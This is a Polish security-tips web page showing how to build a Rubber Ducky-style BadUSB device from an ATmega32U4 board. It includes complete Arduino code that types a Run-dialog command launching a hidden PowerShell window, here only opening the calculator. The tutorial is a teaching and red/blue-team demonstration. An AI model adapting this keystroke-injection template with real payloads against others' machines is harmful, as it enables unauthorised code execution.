alphasec
Hardware protip 0062
in 𝕏

Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky

tty1 · hardware
// ATmega32U4
#Hardware#Arduino#Powershell#RedTeam#BlueTeam

Na pewno znacie Rubber Ducky czyli urządzenie przypominające zwykłego pendrive, które po włożeniu do portu USB zachowa się jak klawiatura, która wpisze wcześniej przygotowany payload. Rubber Ducky nie jest tani, do tego dochodzi wysyłka, natomiast w łatwy sposób jako alternatywę, możemy wykorzystać dowolny mikrokontroler, który posiada sprzętową obsługą USB - np. ATmega 32U4. Płytek prototypowych z tym mikrokontrolerem jest pod dostatkiem (spójrzcie w sekcję linki lub po prostu wysukajcie w ulubionych sklepach z elektroniką), natomiast przykładowy kod, z wykorzystaniem platformy Arduino uruchamiający kalkulator powershellem, mógłby wyglądać następująco:

#include "Keyboard.h"

void typeKey(uint8_t key) {
    Keyboard.press(key);
    delay(50);
    Keyboard.release(key);
}

void setup() {
    Keyboard.begin();

    delay(2000);

    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    Keyboard.releaseAll();

    delay(200);
    Keyboard.print(F("powershell -w h -c \"calc.exe\""));

    typeKey(KEY_RETURN);

    delay(200);
    Keyboard.end();
}

void loop() {}

Przydatne linki

www.microchip.com/en-us/product/ATmega32U4 Strona produktu ATmega32U4 web ↗ www.arduino.cc/ strona domowa platformy Arduino web ↗ botland.com.pl/szukaj?s=atmega%2032u4&lb.sort=price_amount%3Aasc płytki prototypowe z ATmega 32U4 na Botlandzie web ↗ https://allegro.pl/listing?string=atmega%2032u4&order=p ATmega 32U4 na Allegro web ↗ https://www.aliexpress.com/wholesale?SearchText=atmega+32u4 ATmega 32U4 na AliExpress (można też wyszukać BadUSB) web ↗
← poprzedni protip 0061 ••• Wszystkie protipy następny → protip 0063
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: